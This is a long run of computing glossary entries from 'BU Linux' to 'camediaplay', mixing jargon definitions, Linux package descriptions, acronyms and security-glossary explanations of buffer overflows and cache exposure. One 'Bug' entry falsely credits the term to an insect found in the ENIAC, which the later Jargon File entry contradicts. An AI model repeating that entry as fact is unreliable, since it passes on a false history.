Created at/for Boston University, BU Linux is based on Red Hat Linux, but specifically tailored for the BU environment. They have added security updates, made modifications to make software work better with their setup, and added some applications. BU Linux 2.5 (a.k.a Gigantic) was released August 27, 2002. BU Linux 3.0 (Doolittle) was released May 7, 2003. 
bubblemon
Bubbling Load Monitoring Gnome Applet A GNOME panel applet that displays the CPU + memory load as a bubbling liquid. 
bucky bits
/buh'kee bits/ n. 1. obs. The bits produced by the CONTROL and META shift keys on a SAIL keyboard (octal 200 and 400 respectively), resulting in a 9-bit keyboard character set. The MIT AI TV (Knight) keyboards extended this with TOP and separate left and right CONTROL and META keys, resulting in a 12-bit character set; later, LISP Machines added such keys as SUPER, HYPER, and GREEK (see space-cadet keyboard). 2. By extension, bits associated with `extra' shift keys on any keyboard, e.g., the ALT on an IBM PC or command and option keys on a Macintosh. It has long been rumored that `bucky bits' were named for Buckminster Fuller during a period when he was consulting at Stanford. Actually, bucky bits were invented by Niklaus Wirth when he was at Stanford in 1964-65; he first suggested the idea of an EDIT key to set the 8th bit of an otherwise 7-bit ASCII character). It seems that, unknown to Wirth, certain Stanford hackers had privately nicknamed him `Bucky' after a prominent portion of his dental anatomy, and this nickname transferred to the bit. Bucky-bit commands were used in a number of editors written at Stanford, including most notably TV-EDIT and NLS. The term spread to MIT and CMU early and is now in general use. Ironically, Wirth himself remained unaware of its derivation for nearly 30 years, until GLS dug up this history in early 1993! See double bucky, quadruple bucky. 
buffer
A temporary storage space which holds data for future processing. The data may be stored on a hard disk, in RAM or on specialised chips such as UARTs. 
buffer
Buffering/reblocking program for tape backups, printing, etc. Buffer implements double buffering and can be used to keep backup tapes streaming or printers printing. It can also be used to convert a data stream to a given output blocksize. Buffer uses shared memory to convert a variable input data rate to a constant output data rate. It is typically used in a pipe between a backup program and the tape device, but there are also other applications like buffering printer data in lpd's input filter. 
buffer overflow
Common coding style is to never allocate large enough buffers, and to not check for overflows. When such buffers overflow, the executing program (daemon or set-uid program) can be tricked in doing some other things. Generally this works by overwriting a function's return address on the stack to point to another location. 
buffer overflow
n. What happens when you try to stuff more data into a buffer (holding area) than it can handle. This problem is commonly exploited by crackers to get arbitrary commands executed by a program running with root permissions. This may be due to a mismatch in the processing rates of the producing and consuming processes (see overrun and firehose syndrome), or because the buffer is simply too small to hold all the data that must accumulate before a piece of it can be processed. For example, in a text-processing tool that crunches a line at a time, a short line buffer can result in lossage as input from a long line overflows the buffer and trashes data beyond it. Good defensive programming would check for overflow on each character and stop accepting data when the buffer is full up. The term is used of and by humans in a metaphorical sense. "What time did I agree to meet you? My buffer must have overflowed." Or "If I answer that phone my buffer is going to overflow." See also spam, overrun screw. 
buffer overflow (buffer overrun, input overflow, unchecked buffer overflow) . . . . .
Username: This form limits input to 10 characters; the browser won't let you type more than that because the form was programmed with a maxlength=10 parameter. However, when this form is submitted, it will actually be sent as a URL that looks something like http://www.robertgraham.com/pubs/test.html?username=robert. Lazy programmers know that browsers will never submit more than 10 characters, and write code that will break if the user submits more. As a hacker, you could simply go to the top of your screen and edit the URL to look something like http://www.robertgraham.com/pubs/test.html?username=robertxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. This may crash the target system or allow you to bypass password checks. A classic attack that inputs too much data. The excess data "overflows" into other areas of memory, frequently allowing an attack into insert executable code along with the input. This allows the atacker to break into the computer. Buffer overflows are one of the most common programming errors, and the ones most likely to slip through quality assurance testing. They are therefore one of the most common ways of breaking into computers. Analogy: Consider two popular bathroom sink designs. One design is a simple sink with a single drain. The other design includes a backup drain near the top of the sink. The first design is easy and often looks better, but suffers from the problem that if the drain is plugged and the water is left running, the sink will overflow all over the bathroom. The second design prevents the sink from overflowing, as the water level can never get past the top drain. Example: Programmers often forget to validate input. They (rightly) believe that a legal username is less than 32 characters long, and (wrongly) reserve more than enough memory for it, typically 200 characters. The assume that nobody will enter in a name longer than 200 characters, and don't verify this. Malicious hackers exploit this condition by purposely entering in user names a 1000 characters long. Key point: This is a classic programming bug that afflicts almost all systems. The average system on the Internet is vulnerable to a well known buffer overflow attack. Many Windows NT servers have IIS services vulnerable to a buffer overflow in ".htr" handler, many Solaris servers have vulnerable RPC services like cmsd, ToolTalk, and statd; many Linux boxes have vulnerable IMAP4, POP3, or FTP services. Key point: Programs written in C are most vulnerable, C++ is somewhat less vulnerable. Programs written in scripting level languages like VisualBasic and Java are generally not vulnerable. The reason is that C requires the programmer to check buffer lengths, but scripting languages generally make these checks whether the programmer wants them or not. Key point: Buffer overflows are usually a Denial-of-Service in that they will crash/hang a service/system. The most interesting ones, however, can cause the system to execute code provided by the hacker as part of the exploit. Defenses: There are a number of ways to avoid buffer-overflows in code: Use programming languages like Java that bounds-check arrays for you. Run code through special compilers that bounds-check for you. Audit code manually Audit code automatically Key point: The NOOP (no operation) machine language instruction for x86 CPUs is 0x90. Buffer overflows often have long strings of these characters when attacking x86 computers (Windows, Linux). Key point: In a successful buffer overflow exploit, hackers force the system to run their own code. Since most network services run as "root" or "administrator", the exploit would give complete control over the machine. For this reason, more and more services are being configured to run with lower privileges. See also: stack frame 
bug
A bug is a flaw in design, coding or manufacture of software which causes all -- or some portion -- of a program to not perform as expected. 
Bug
A progamming error that casuses to a program or a computer system to perform erratically, produce incorrect results, or crash. The term bug was coined when a real insect was discovered to have fouled up one of the circuits of the first electronic digital computer, the ENIAC. A hardware problem is called a glitch. 
bug
Bug Reporting Tool interfacing with the Bug Tracking System A script to ease the reporting of bugs. Automatically figures out version numbers of the package reported and all depending packages. Adds config files etc to the bug report. A script for easily accessing the bug database in the WWW is also included. 
bug
n. An unwanted and unintended property of a program or piece of hardware, esp. one that causes it to malfunction. Antonym of feature. Examples: "There's a bug in the editor: it writes things out backwards." "The system crashed because of a hardware bug." "Fred is a winner, but he has a few bugs" (i.e., Fred is a good guy, but he has a few personality problems). Historical note: Admiral Grace Hopper (an early computing pioneer better known for inventing COBOL) liked to tell a story in which a technician solved a glitch in the Harvard Mark II machine by pulling an actual insect out from between the contacts of one of its relays, and she subsequently promulgated bug in its hackish sense as a joke about the incident (though, as she was careful to admit, she was not there when it happened). For many years the logbook associated with the incident and the actual bug in question (a moth) sat in a display case at the Naval Surface Warfare Center (NSWC). The entire story, with a picture of the logbook and the moth taped into it, is recorded in the "Annals of the History of Computing", Vol. 3, No. 3 (July 1981), pp. 285-286. The text of the log entry (from September 9, 1947), reads "1545 Relay #70 Panel F (moth) in relay. First actual case of bug being found". This wording establishes that the term was already in use at the time in its current specific sense -- and Hopper herself reports that the term `bug' was regularly applied to problems in radar electronics during WWII. Indeed, the use of `bug' to mean an industrial defect was already established in Thomas Edison's time, and a more specific and rather modern use can be found in an electrical handbook from 1896 ("Hawkin's New Catechism of Electricity", Theo. Audel & Co.) which says: "The term `bug' is used to a limited extent to designate any fault or trouble in the connections or working of electric apparatus." It further notes that the term is "said to have originated in quadruplex telegraphy and have been transferred to all electric apparatus." The latter observation may explain a common folk etymology of the term; that it came from telephone company usage, in which "bugs in a telephone cable" were blamed for noisy lines. Though this derivation seems to be mistaken, it may well be a distorted memory of a joke first current among telegraph operators more than a century ago! Or perhaps not a joke. Historians of the field inform us that the term "bug" was regularly used in the early days of telegraphy to refer to a variety of semi-automatic telegraphy keyers that would send a string of dots if you held them down. In fact, the Vibroplex keyers (which were among the most common of this type) even had a graphic of a beetle on them (and still do)! While the ability to send repeated dots automatically was very useful for professional morse code operators, these were also significantly trickier to use than the older manual keyers, and it could take some practice to ensure one didn't introduce extraneous dots into the code by holding the key down a fraction too long. In the hands of an inexperienced operator, a Vibroplex "bug" on the line could mean that a lot of garbled Morse would soon be coming your way. Further, the term "bug" has long been used among radio technicians to describe a device that converts electromagnetic field variations into acoustic signals. It is used to trace radio interference and look for dangerous radio emissions. Radio community usage derives from the roach-like shape of the first versions used by 19th century physicists. The first versions consisted of a coil of wire (roach body), with the two wire ends sticking out and bent back to nearly touch forming a spark gap (roach antennae). The bug is to the radio technician what the stethoscope is to the stereotype medical doctor. This sense is almost certainly ancestral to modern use of "bug" for a covert monitoring device, but may also have contributed to the use of "bug" for the effects of radio interference itself. Actually, use of `bug' in the general sense of a disruptive event goes back to Shakespeare! (Henry VI, part III - Act V, Scene II: King Edward: "So, lie thou there. Die thou; and die our fear; For Warwick was a bug that fear'd us all.") In the first edition of Samuel Johnson's dictionary one meaning of `bug' is "A frightful object; a walking spectre"; this is traced to `bugbear', a Welsh term for a variety of mythological monster which (to complete the circle) has recently been reintroduced into the popular lexicon through fantasy role-playing games. In any case, in jargon the word almost never refers to insects. Here is a plausible conversation that never actually happened: "There is a bug in this ant farm!" "What do you mean? I don't see any ants in it." "That's the bug." A careful discussion of the etymological issues can be found in a paper by Fred R. Shapiro, 1987, "Entomology of the Computer Bug: History and Folklore", American Speech 62(4):376-378. [There has been a widespread myth that the original bug was moved to the Smithsonian, and an earlier version of this entry so asserted. A correspondent who thought to check discovered that the bug was not there. While investigating this in late 1990, your editor discovered that the NSWC still had the bug, but had unsuccessfully tried to get the Smithsonian to accept it -- and that the present curator of their History of American Technology Museum didn't know this and agreed that it would make a worthwhile exhibit. It was moved to the Smithsonian in mid-1991, but due to space and money constraints was not actually exhibited for years afterwards. Thus, the process of investigating the original-computer-bug bug fixed it in an entirely unexpected way, by making the myth true! --ESR] 
bug
The word "bug" describes some sort of programming mistake. Common programming mistakes related to security are: buffer-overflows, format-string bugs, race conditions. 
bug-buddy
A graphical bug reporting tool for GNOME The goal of bug-buddy is to make reporting bugs very simple and easy for the user, while making the reports themselves more useful and informative for the developer. It can extract debugging information from a core file or crashed application (via gnome_segv). It currently supports the bug tracking systems of Gnome, Helix, KDE, and Debian. 
BUGS file
List of errata. 
bugsquish
Bugs are trying to suck blood out of your arm! "Bug Squish" is an action game not unlike light gun arcade games, but played with a mouse. It's loosely based on a MacOS game whose name I can't recall. Bugs are trying to suck blood out of your arm! Squish them with with your fly swatter before you run out of blood. 
bugsx
evolve biomorphs using genetic algorithms buugsx is a program which draws biomorphs based on parametric plots of Fourier sine and cosine series and let's you play with them using genetic algorithms. 
BUGTRAQ
One of the most important sources of information in the security community. BUGTRAQ has become the quasi-official place to publish vulnerability and exploit information. Controversy: A debate over "full-disclosure" surrounds BUGTRAQ. On one side is a community of people that believe full and open disclosure of vulnerabilities and exploits is necessary to promote the developement of protections against hacking. On the other side is a community of people that believe total disclosure, including script-kiddy ready exploits, is harmful. 
bugzilla
Mozilla bug tracking system Bugzilla is a web-based tool that lets you: * report bugs * assign bugs to the appropriate developers * prioritize bugs * set bug dependencies * arrange bugs by product and component With these features, you can also use Bugzilla as a to-do list manager. Bugzilla is a web application that lets users report and look up existing bugs. Changes made to a bug's status are automatically sent to users concerned with it. 
BUI
Bus Interface Unit (DEC) 
buici-clock
attractive desktop clock As clocks go, Buici satisfies the basic need of representing the time accurately and attractively. I wrote it when I began to use X as my primary desktop environment and wanted to have a decent looking clock on my desktop. I loathe digital clocks. This release has limited configurability. 
build-essential
Informational list of build-essential packages If you do not plan to build Debian packages, you don't need this package. Moreover this package is not required for building Debian packages. This package contains an informational list of packages which are considered essential for building Debian packages. This package also depends on the packages on that list, to make it easy to have the build-essential packages installed. If you have this package installed, you only need to install whatever a package specifies as its build-time dependencies to build the package. Conversely, if you are determining what your package needs to build-depend on, you can always leave out the packages this package depends on. This package is NOT the definition of what packages are build-essential; the real definition is in the Debian Policy Manual. This package contains merely an informational list, which is all most people need. However, if this package and the manual disagree, the manual is correct. 
buildhash
Interactive spelling checking 
Bulletproof
Capable, because of high fault tolerance, of resisting external interferance and recovering from situations that would crash other programs. 
bumprace
1 or 2 players race through a multi-level maze. In BumpRacer, 1 player or 2 players (team or competitive) choose among 4 vehicles and race through a multi-level maze. The players must acquire bonuses and avoid traps and enemy fire in a race against the clock. 
bunzip2
a block-sorting file compressor, v1.0.2 
burgerspace
Avoid evil foodstuffs and make burgers. This is a clone of the classic game "BurgerTime". In it, you play the part of a chef who must create burgers by stepping repeatedly on the ingredients until they fall into place. And to make things more complicated, you also must avoid evil animate food items while performing this task, with nothing but your trusty pepper shaker to protect you. 
bus
An internal communication network in a computer system. A typical system includes an address bus, a data bus, and a control bus. The width of the address bus determines the amount of memory that can be addressed by the system. 
Bus
An internal electrical pathway along which signals are sent from one part of the computer to another. Personal computers have a processor bus design with three pathways. The data bus sends data back and forth between the memory and the microprocessor divided into an external data bus and an internal data bus. The addrss bus identifies which memory location will come into play. The control bus carries the control unit's signals. 
BUS
Broadcast and Unknown Server (ATM, LANE) 
bus
Conductors that connect the functional units in a computer (called a bus because it travels to all destinations). Local busses connect elements within the CPU and other busses connect to external memory and peripherals. 
Bus Master DMA
A technology for increasing the speed of hard disk data transfers which requires support from the motherboard and the BIOS, and at least some support from the drive. 
busybox
Tiny utilities for small and embedded systems. BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides minimalist replacements for the most common utilities you would usually find on your desktop system (i.e., ls, cp, mv, mount, tar, etc.). The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. This package installs the BusyBox binary but does not install symlinks for any of the supported utilities. You can use /bin/busybox --install to install BusyBox to the current directory (you do not want to do this in / on your Debian system!). 
buthead
copy all but the first few lines Copy all but the first N lines of standard input to standard output. 
BV
BildVerarbeitung 
BVB
BundesVerband fuer Buero- und informationssysteme [e.v.] (org.) 
BVCP
[PPP] Banyan VINES Control Protocol (RFC 1763, Banyan, VINES, PPP) 
bvi
A binary file editor The bvi is a display-oriented editor for binary files, based on the vi text editor. If you are familiar with vi, just start the editor and begin to edit! If you never heard about vi, maybe bvi is not the best choice for you. 
BVIT
BundesVerband InformationsTechnologien [e.v.] (org.) 
BW
Business Warehouse (DWH) 
bwbar
Generates text and graphical readout of current bandwidth use. This program will output a PNG and a text file that can be used in scripts or be included in web pages to show current bandwidth usage. The amount of total bandwidth can be customized. The PNG output appears as a bar graph showing maximum possible usage with the current inbound or outbound usage shown as a differently colored bar. An example of this can be seen at http://www.kernel.org/ 
bwbasic
Bywater BASIC Interpreter The Bywater BASIC Interpreter (bwBASIC) implements a large superset of the ANSI Standard for Minimal BASIC (X3.60-1978) and a significant subset of the ANSI Standard for Full BASIC (X3.113-1987) in C. It also offers shell programming facilities as an extension of BASIC. bwBASIC seeks to be as portable as possible. 
BWBM
Bandwidth Balancing Mechanism (DQDB) 
BWCC
Borland Windows Custom Controls (Borland, DLL) 
bwidget
A set of extension widgets for Tcl/Tk The BWidget toolkit is a high-level widget set for Tcl/Tk. It contains widgets such as progress bars, 3D separators, various manager widgets for toplevels, frames, paned or scrolled windows, button boxes, notebooks or dialogs as well as composite widgets such as comboboxes, spin boxes and tree widgets. The BWidget toolkit is completely written in Tcl so no compiled extension library is required. 
bwm
BandWidth Monitor This is a very tiny bandwidth monitor (not X11). Can monitor up to 16 interfaces in the in the same time, and shows totals too. 
bximage
Disk Image Creation Tool for Bochs This tool is part of the Bochs project. Its purpose is to generate disk images that are used to allocate the guest operating system in Bochs environment. It can be useful for other programs that also make use of disk images, like Plex86. 
byacc
Byacc (Berkeley Yacc) is a public domain LALR parser generator which is used by many programs during their build process. 
byacc
The Berkeley LALR parser generator Yacc reads the grammar specification in a file and generates an LR(1) parser for it. The parsers consist of a set of LALR(1) parsing tables and a driver routine written in the C programming language. 
BYLD
Build Your Linux Disk (BYLD) is a little package that helps you to build a Linux distribution on a single floppy disk to use as you want. Build a net client, rescue disk or other small application. A floppy-based distribution. 
BYO Linux
BYO Linux (aka Build Your Own Linux OR DiyLinux to some) allows Linux enthusiasts to construct their own 100% pure Linux distribution. 
byte
/bi:t/ n. [techspeak] A unit of memory or data equal to the amount used to represent one character; on modern architectures this is usually 8 bits, but may be 9 on 36-bit machines. Some older architectures used `byte' for quantities of 6 or 7 bits, and the PDP-10 supported `bytes' that were actually bitfields of 1 to 36 bits! These usages are now obsolete, and even 9-bit bytes have become rare in the general trend toward power-of-2 word sizes. Historical note: The term was coined by Werner Buchholz in 1956 during the early design phase for the IBM Stretch computer; originally it was described as 1 to 6 bits (typical I/O equipment of the period used 6-bit chunks of information). The move to an 8-bit byte happened in late 1956, and this size was later adopted and promulgated as a standard by the System/360. The word was coined by mutating the word `bite' so it would not be accidentally misspelled as bit. See also nybble. 
Byte
A set of Bits that represent a single character. Usually there are 8 Bits in a Byte, sometimes more, depending on how the measurement is being made. 
Byte
A single computer character, generally eight bits. For example, the letter "G" in binary code is 01000111. From Glossary of Distance Education and Internet Terminology
byte
Eight bits in a row. That is a series of eight pieces of information, each of which can be either 1 or 0. 
byte
The amount of memory space used to store one character; generally 8 bits. 
byte ordering
This refers to the order in which bytes that are ordered in memory as n,n+1,... are ordered when a computer considers multiple bytes as one integer. Big-endian computers use bytes with lower addresses for the bits with higher powers of two. PowerPC, m68k, HP-PA-RISC, IBM-370, PDP-10, most other computers use this. Little-endian computers use the opposite convention. i86, PDP-11, VAX, uses this. 
bzcat
decompresses files to stdout 
bzcmp
compare bzip2 compressed files 
bzdiff
compare bzip2 compressed files 
bzegrep
search possibly bzip2 compressed files for a regular expression 
bzfgrep
search possibly bzip2 compressed files for a regular expression 
bzflag
a 3D first person tank battle game BZFlag is a 3D multi-player tank battle game that allows users to play against each other in a networked environ- ment. There are five teams: red, green, blue, purple and rogue (rogue tanks are black). Destroying a player on another team scores a win, while being destroyed or destroying a teammate scores a loss. Rogues have no team- mates (not even other rogues), so they cannot shoot team- mates and they do not have a team score. There are two main styles of play: capture-the-flag and free-for-all. In capture-the-flag, each team (except rogues) has a team base and each team with at least one player has a team flag. The object is to capture an enemy team's flag by bringing it to your team's base. This destroys every player on the captured team, subtracts one from that team's score, and adds one to your team's score. In free-for-all, there are no team flags or team bases. The object is simply to get as high a score as possible. 
bzgrep
search possibly bzip2 compressed files for a regular expression 
bzip2
A high-quality block-sorting file compressor - utilities bzip2 is a freely available, patent free, high-quality data compressor. It typically compresses files to within 10% to 15% of the best available techniques, whilst being around twice as fast at compression and six times faster at decompression. bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and Huffman coding. Compression is generally considerably better than that achieved by more conventional LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors. The archive file format of bzip2 (.bz2) is incompatible with that of its predecessor, bzip (.bz). 
bzip2
Bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and Huffman coding. Compression is generally considerably better than that achieved by more conventional LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors.The command-line options are deliberately very similar to those of GNU Gzip, but they are not identical. 
bzip2
Bzip2 is a freely available, patent-free, high-quality data compressor that uses the same command line flags as gzip. 
Bzip2
is a relatively new algorithm for compressing data. It generally achieves files that are 60-70% of the size of their gzipped counterparts. From Bzip2 mini-HOWTO
bzip2recover
recovers data from damaged bzip2 files 
bzless
file perusal filter for crt viewing of bzip2 compressed text 
bzmore
file perusal filter for crt viewing of bzip2 compressed text 
BZR
Bit Zone Recording (ROD) 
C
C
a programming language designed by Dennis Ritchie during the early 1970s and immediately used to reimplement Unix; so called because many features derived from an earlier compiler named `B' in commemoration of its parent, BCPL. 
C
n. 1. The third letter of the English alphabet. 2. ASCII 1000011. 3. The name of a programming language designed by Dennis Ritchie during the early 1970s and immediately used to reimplement Unix; so called because many features derived from an earlier compiler named `B' in commemoration of its parent, BCPL. (BCPL was in turn descended from an earlier Algol-derived language, CPL.) Before Bjarne Stroustrup settled the question by designing C++, there was a humorous debate over whether C's successor should be named `D' or `P'. C became immensely popular outside Bell Labs after about 1980 and is now the dominant language in systems and microcomputer applications programming. See also languages of choice, indent style. C is often described, with a mixture of fondness and disdain varying according to the speaker, as "a language that combines all the elegance and power of assembly language with all the readability and maintainability of assembly language". 
C programming language
Point: The language is quirky, difficult for beginners to learn, and really just an accident of history. Despite this, one must grok the language in order to become an elite hacker. Key point: The large number of buffer overflow exploits is directly related to poor way that C protects programmers from doing the wrong thing. On the other hand, these lack of protections leads directly to its high speed. 
C Shell
A Linux shell written to look sort of like the C programming language. It prompts you with %. Its program name is csh. 
C++
/C'-pluhs-pluhs/ n. Designed by Bjarne Stroustrup of AT&T Bell Labs as a successor to C. Now one of the languages of choice, although many hackers still grumble that it is the successor to either Algol 68 or Ada (depending on generation), and a prime example of second-system effect. Almost anything that can be done in any language can be done in C++, but it requires a language lawyer to know what is and what is not legal-- the design is almost too large to hold in even hackers' heads. Much of the cruft results from C++'s attempt to be backward compatible with C. Stroustrup himself has said in his retrospective book "The Design and Evolution of C++" (p. 207), "Within C++, there is a much smaller and cleaner language struggling to get out." [Many hackers would now add "Yes, and it's called Java" --ESR] 
c++
GNU project C++ Compiler 
c++filt
Demangle *(C+ and Java symbols. 
c-sig
A signature tool for GNU Emacs C-sig is a signature insertion tool for GNU Emacs. Features in c-sig include: - registering signatures interactively - learning facility - expanding signatures dynamically - modifying signatures through elisp functions 
C128
Commodore 128 [computer] (Commodore) 
c2050
Lexmark 2050 Color Jetprinter Linux Driver Filter to convert a Postscript file to Lexmark 2050 format. This driver allow you to print at 300dpi in color on A4 paper. 
c2hs
C->Haskell Interface Generator C->Haskell is an interface generator that simplifies the development of Haskell bindings to C libraries. The tool processes existing C header files that determine data layout and function signatures on the C side in conjunction with Haskell modules that specify Haskell-side type signatures and marshaling details. Hooks embedded in the Haskell code signal access to C structures and functions -- they are expanded by the interfacing tool in dependence on information from the corresponding C header file. Haskell 98 is "the" standard lazy functional programming language. More info plus the language definition is at http://www.haskell.org/. 
c2html
Highlight C sources for WWW presentation c2html can highlight your source for presentation in the WWW. It can also be used as a CGI script and can detect whether the client browser supports compressed data to save bandwidth. 
C2IS
Command and Control Information Systems (mil., USA) 
c2man
generate manual pages from C source code 
c2man
Graham Stoney's mechanized man page generator C2man is an automatic documentation tool that extracts comments from C source code to generate functional interface documentation in the same format as sections 2 & 3 of the Unix Programmer's Manual. It requires minimal effort from the programmer by looking for comments in the usual places near the objects they document, rather than imposing a rigid function-comment syntax or requiring that the programmer learn and use a typesetting language. Acceptable documentation can often be generated from existing code with no modifications. conformance: supports both K&R and ISO/ANSI C coding styles Features: * generates output in nroff -man, TeXinfo, LaTeX or HTML format * handles comments as part of the language grammar * automagically documents enum parameter & return values * handles C (/* */) and C++ (//) style comments Problems: * doesn't handle C++ grammar (yet) * doxygen does this job better 
c2ph
Dump C structures as generated from *(C`cc -g -S*(C' stabs 
C3I
Command, Control, Communications and Intelligence (mil., USA) 
C3IIS
Command, Control, Communications and Intelligence Information Systems (mil., USA), "C3I/IS" 
C4
Command, Control, Communications and Computers (mil., USA) 
C4I
Command, Control, Communications, Computers and Intelligence (mil., USA) 
C64
Commodore 64 [computer] (Commodore) 
c89
ANSI (1989) C compiler 
CA
Cell Arrival (ATM) 
CA
Certification Authority (cryptography) 
CA
Computer Animation 
CA
Computer Associates (manufacturer) 
ca-certificates
Common CA Certificates PEM files It includes the followings PEM files of CA certificates * Mozilla builtin CA certificates * db.debian.org certificate This is useful for any openssl applications to verify SSL connection. 
CAAD
Computer Aided Architectural Design 
cabextract
a program to extract Microsoft Cabinet files Cabextract is a program which unpacks cabinet (.cab) files, which are a form of archive Microsoft uses to distribute their software and things like Windows Font Packs. 
CAC
Channel Access Code (Bluetooth) 
CAC
Computer Aided Crime 
CAC
Connection Admission Control (UNI, ATM) 
CACEAS
Computer-Assisted Circuit Engineering and Allocating System 
cache
A small fast memory holding recently accessed data, designed to speed up subsequent access to the same data. Most often applied to processor-memory access but also used for a local copy of data accessible over a network etc. 
Cache
A storage area that keeps frequently accessed data or program instructions readily available so that you don't have to retrieve them repeatedly from slow storage. Caches improve storage by storing data or instructions in faster sections of memory and by using efficient design to increase the likelihood that the data needed next is in the cache. 
cache
A temporary storage area for currently-used or recently-accessed data. Cache can be system-level (residing in dedicated cache memory on the motherboard or physically etched on the central processing unit) or disk-based (residing in main memory such as a hard disk drive or RAM). 
cache
In general computer science, the word cache means simply to keep things around in case they are used again. For example, when you log onto your system, your username and password are stored in a cache in memory, because they are repeatedly used by the system every time you access a resource. Key point: Sometimes systems can be exploited through the cache. Examples are: HTTP proxy servers Companies use these so that thousands of users can share a single Internet connection. They store recently used webpages so that when multiple users access the same web-site, the proxy server only has to go across the link once in order to fetch the page for all the users. A never ending series of bugs leads to conditions whereby when one user logs into a website, other users can see that first user's data. Web-browser history/file cache Once a hacker breaks into a machine, he/she can view the history cache (list of URLs) or file cache (the actual contents of the web-sites) in order to spy on where the user has been. Embarrassing, inadvertent disclosure of this information by users with certain surfing habits is common. Web-browser cookie cache Lots of web-sites store passwords within cookies, so that stealing somebody's cookie information will allow a hacker to log in as that user. 
cacti
Frontend to rrdtool for monitoring systems and services Cacti is a complete frondend to rrdtool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the data gathering also. There is also SNMP support for those used to creating traffic graphs with MRTG. 
CACTIS
Community Automated Counter-Terrorism Intelligence System (mil., USA) 
CAD
Computer Aided Dispatch / Drafting 
CAD
Computer Aided Design (CIM) 
cadaver
command-line client for WebDAV server Useful for WebDAV server testing and scripting. Works like command line FTP clients. This Version supports HTTPS, including Client Site Certificates. Briefly: WebDAV stands for "Web-based Distributed Authoring and Versioning". It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers. 
CADE
Computer Aided Document Engineering (Microstar) 
CADS
Computer-Assisted Display System 
cadubi
Creative ASCII Drawing Utility By Ian CADUBI is an application written in Perl that allows you to draw text-based images that are viewable on typical unix-based consoles. Usually the applications that emulate these consoles support various text modes, such as background and foreground colors, bold, and inverse. This text art, commonly called "ASCII art," is used in various places such as online BBSes, email and login prompts. 
CAE
Client Application Enabler (IBM, DB) 
CAE
Common Application Environment (X/Open) 
CAE
Computer Aided Education 
CAE
Computer Aided Engineering (CIM) 
CAEN Linux
The CAEN RedHat 6.1 (BlueHat) distribution was an effort put together by CAEN to provide a free, downloadable release of RedHat 6.1 that would be "secure out of the box" and well configured for the University of Michigan environment. The site seems to have been last updated in September 2000. Distribution development is not all that active. 
CAI
Computer Aided Inspection (CIM) 
CAI
Computer Aided Instruction 
CAIP
Computer Analysis of Images and Patterns (conference) 
CAIS
Common APSE Interface Specification 
CAIT
Center for the Application of Information Technology (org., USA) 
CAIT
Central Academy of Information Technology (org., MITI) 
Caixa Magica
The desktop version "Computador Magico" is available now. The server version "Servidor Magico" will be available soon. This distribution is partialy based on Debian and SuSE, but much of it was rewritten, and localized in Portuguese. It includes OpenOffice. Added to list July 8, 2002. Version 8.01 was released May 21, 2003. 
CAL
Client Access License (Lotus, MS) 
CAL
Computer Aided Logistics 
CAL
Computer Assisted Learning 
cal
displays a calendar and the date of easter 
cal
Displays a simple calendar. If arguments are not specified, the current month is displayed. 
calamaris
Log analyzer for Squid or Oops proxy log files Calamaris is a Perl script which generates nice statistics out of Squid or Oops log files. It is invoked daily before the proxy rotates its log files and mails the statistics or puts them on the web. There are quite a number of options to choose what kind of report should be generated (domain-report, peak-report, performance-report etc.). This can be tuned in /etc/cron.daily/calamaris An example of such a report can be found on http://www.cord.de/tools/squid/calamaris/calamaris-2.html 
calc
An advanced calculator and mathematical tool for Emacs This is an advanced calculator and mathematical tool for GNU Emacs. XEmacs has calc built-in, so you only need this package if you are using GNU Emacs. Very roughly based on the HP-28/48 series of calculators, calc's many features include: * Choice of algebraic or RPN (stack-based) entry of calculations. * Arbitrary precision integers and floating-point numbers. * Arithmetic on rational numbers, complex numbers (rectangular and polar), error forms with standard deviations, open and closed intervals, vectors and matrices, dates and times, infinities, sets, quantities with units, and algebraic formulas. * Mathematical operations such as logarithms and trigonometric functions. * Programmer's features (bitwise operations, non-decimal numbers). * Financial functions such as future value and internal rate of return. * Number theoretical features such as prime factorization and arithmetic modulo M for any M. * Algebraic manipulation features, including symbolic calculus. * Moving data to and from regular editing buffers. * "Embedded mode" for manipulating Calc formulas and data directly inside any editing buffer. * Graphics using GNUPLOT, a versatile (and free) plotting program. * Easy programming using keyboard macros, algebraic formulas, algebraic rewrite rules, or extended Emacs Lisp. 
calcoo
Scientific calculator (GTK+) Calcoo is a scientific calculator designed to provide maximum usability. The features that make Calcoo better than (at least some) other calculator programs are: - bitmapped button labels and display digits to improve readability - no double-function buttons - you need to click only one button for any operation (except for arc-hyp trigonometric functions) - undo/redo buttons - both RPN (reverse Polish notation) and algebraic modes - copy/pase interaction with X clipboard - display tick marks to separate thousands - two memory registers with displays - displays for Y, Z, and T registers 
CALEA
Communications Assistance Law Enforcement Act (USA) 
calendar
reminder service 
calife
Provides super user privileges to specific users. Calife is a lightweight alternative to Sudo. It allows selected users to obtain a shell with the identity of root, or another user, after entering their own password. This permits the system administrator to grant root privileges without sharing the root password. 
CALS
Computer aided Acquisition and Logistics Support 
cam
Cpu's Audio Mixer for Linux An audio mixer for Linux, based originally on aumix. Supports both OSS/Free and OSS/Linux. The DOSEMU package provides the vga font which xcam (a script to run cam nicely in an xterm) needs to run properly, but it will run without it. 
CAMAC
Computer Automated Measurement And Control 
camas
A versatile WebMail system for the Caudium WebServer CAMAS is a WebMail system created for the Caudium WebServer. It features multi-lingual interface (most European languages are already present in the distribution), full themability of the user interface, mailbox sorting, on-line mail notification, global and local address books, import from the Pine or Netscape address books and much more. CAMAS is written in the Pike language. 
came
Rewrite of the xawtv webcam app using imlib2 camE is a rewrite of the xawtv webcam app using imlib2 Features include: * Uses Imlib2 * TTF fonts * Blended transparent text * Title text * Options in ~/.camErc * Message read from separate file (eg echo "eating my dinner" > ~/.caminfo) * Color the text as you like * Text background any color/alpha value * scp support for uploading * And more... 
camediaplay
